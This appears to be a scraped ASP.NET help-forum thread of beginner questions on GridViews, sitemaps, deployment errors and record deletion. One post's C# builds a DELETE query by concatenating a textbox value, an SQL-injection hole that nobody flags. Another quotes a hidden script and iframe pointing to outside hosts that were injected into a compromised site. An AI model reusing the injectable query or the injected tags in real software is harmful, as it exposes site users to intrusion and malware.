|
this coding is for deleting a record:
System.Data.SqlClient.SqlConnection connection = new System.Data.SqlClient.SqlConnection("Data Source=.\\SQLEXPRESS;AttachDbFilename=E:\\T\\DLI\\App_Data\\DLI_Database.mdf;Integrated Security=True;User Instance=True");
connection.Open();
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("DELETE FROM Items where Password ='"+ TextBox1.Text +"'", connection);
command.CommandType = CommandType.Text;
connection.Close();
Label1.Text = "Record deleted!";
HOW DO I DISABLE A RECORD INSTEAD OF DELETING IT SO IT CANT BE VISIBLE IN THE DATA GRIDVIEW.
|
|
|
|
|
Selext * From Table_name where Here u put what u don't want to show up in a not equal
|
|
|
|
|
add a new field in database as isDelete, when u delete a row u set the field as true, so it is now consider as deleted but available in database. now u can filter this and display in the datagrid
|
|
|
|
|
|
Hi,
What is the difference between n-tier architecture and n-layered architecture.
What are the advantages of each one over the other.
How we will choose which one is going to apply.
Please help me out.
Thanks in advance.
|
|
|
|
|
What about google search ?
Abhijit Jana | Codeproject MVP
Web Site : abhijitjana.net
Don't forget to click "Good Answer" on the post(s) that helped you.
|
|
|
|
|
IS google broken where you live ?
Learn to code, and worry about these sort of things in their proper context. That is, if you don't know what the difference is, research both, then work out if there's any difference at all. There isn't.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
I am deploying a web application and getting an error "could not load file or assembly microsoft.sqlserver.manageddts, version=9.0.242.0 ....."
i have in my bin a DLL named "Microsoft.SqlServer.DTSRuntimeWrap.dll"
i have added this file in GAC, restarted the IIS, restarted the Computer and still having the same error. Any Ideas.
On the web server iam deploying on i have .net framework 2.0 & 3.0 & 3.5 with sp1 and VS2008 installed.
|
|
|
|
|
Hello I'm using asp.net with VB
I want to add TemplateField and add to it an image so I can add this image to grid. how can I do this by code?
Thanks in advance
|
|
|
|
|
Why you are not adding Template Image field in gridview ?
Abhijit Jana | Codeproject MVP
Web Site : abhijitjana.net
Don't forget to click "Good Answer" on the post(s) that helped you.
|
|
|
|
|
ok that works buit i have another qestion this image is an hyperlink image so when i clcik on it i go to next page with the ID and the id is in the select cmd. how can i add the id in the mtml code.
e.g: show.aspx?ID=10 in the i'm using databinder.eval after the url but it is giving me server tage error
NavigateUrl="Show.aspx?ID='<%# DataBinder.Eval(Container.DataItem,"ID")%>'
|
|
|
|
|
I have created Web.sitemap file.
<?xml version="1.0" encoding="utf-8"?>
<siteMap xmlns="http://schemas.microsoft.com/AspNet/SiteMap-File-1.0">
<siteMapNode title="Home" description="">
</siteMapNode>
<siteMapNode title="Products And Services" description="">
</siteMapNode>
<siteMapNode title="Clients" description="">
</siteMapNode>
<siteMapNode title="ContactUs" description="">
</siteMapNode>
</siteMap>
When I run this web application, it shows following error.
Exactly one <siteMapNode> element is required directly inside the <siteMap> element.
Plz help me to solve this problem.
|
|
|
|
|
I googled and found these [^]results.
And infact, the first one [^]looks to be the answer itself.
Manas Bhardwaj
Please remember to rate helpful or unhelpful answers, it lets us and people reading the forums know if our answers are any good.
|
|
|
|
|
I have already seen that solutions and even made the changes as well. But it doesn't solve my problem.
Can u help me out?
Thanks?
|
|
|
|
|
I removed that problem with the help of p2p.wrox.com.
But now one more problem is that it is not showing all the menu items. How can I resolve this issue?
Can u help me as i'm a beginner plz?
|
|
|
|
|
sir,
i am new to asp.net , just completed one project which was hosted,
but recently the website had a problem
this code
"lt;code>
<script src=http://anydisk.anyprinting.com/webfolder/index.php ></script>
<div style="display:none">eyryqyngxqodqmlyrudqusfyorybdso<iframe width=420 height=816 src="http://bio-a.ru:8080/index.php" ></iframe></div>
"</code>
was attached automatically to every page of that website automatically, please help me to find, why and how this happened, and how to avoid such problems&
|
|
|
|
|
Wow, I am just wondering how safe is your hosting environment.
Maite, you need to chck your production environment.
Manas Bhardwaj
Please remember to rate helpful or unhelpful answers, it lets us and people reading the forums know if our answers are any good.
|
|
|
|
|
thanks for the reply... SIR can u please elaborate a bit, what may be the reson of such thing happening?? and suddenly?? i mean.. it was working fine... and one sudden day..it just stopped... i had not done any kind of upgradation.. before tht happened
|
|
|
|
|
Hi,
There was an malicious code attack on your site? You will have to secure your application and validate all user input. Also installing an Intrusion Detection System (if your budget supports) is another option.
Search for articles on SQL Injection...and you will find some information related the same.
|
|
|
|
|
I have a problem in ASP.NET platform using C#.NET using Oracle 9i backend.
I failed to edit password type data in ASP.NET form using Oracle 9i backend. password type string is neither viewed nor edited. that is not retrived but remains blank if control type password nor text.
-NS
|
|
|
|
|
i want to run an window application exe from asp.net file but when i click to start exe the browser hangs out and did not show any thing.
the os is windows server 2008 and iis 7
the impersonation is set to that of administrator
the code is
<br />
string exepath =Server.MapPath("~") + "\\folder\\file.exe";<br />
string args2 = "";<br />
<br />
System.Diagnostics.Process.Start(exepath, args2);
can any one help me why this happen.
amirzada
|
|
|
|
|
aamirzada wrote: string exepath =Server.MapPath("~") + "\\folder\\file.exe";
string args2 = "";
System.Diagnostics.Process.Start(exepath, args2);
This will execute exe only on Server not in Client System . Where do you want to execute the exe ?
Abhijit Jana | Codeproject MVP
Web Site : abhijitjana.net
Don't forget to click "Good Answer" on the post(s) that helped you.
|
|
|
|
|
yea i want to run the exe on server. but it does not execute it
i don't know why.
amirzada
|
|
|
|
|
IIRC, you cannot launch an interactive (visible) process from ASP.NET. It'll run (provided the ASP.NET account has enough permissions for the application to execute), but you won't see anything.
|
|
|
|
|
thanx a lot it is running in invisable mode. thank you for your help
amirzada
|
|
|
|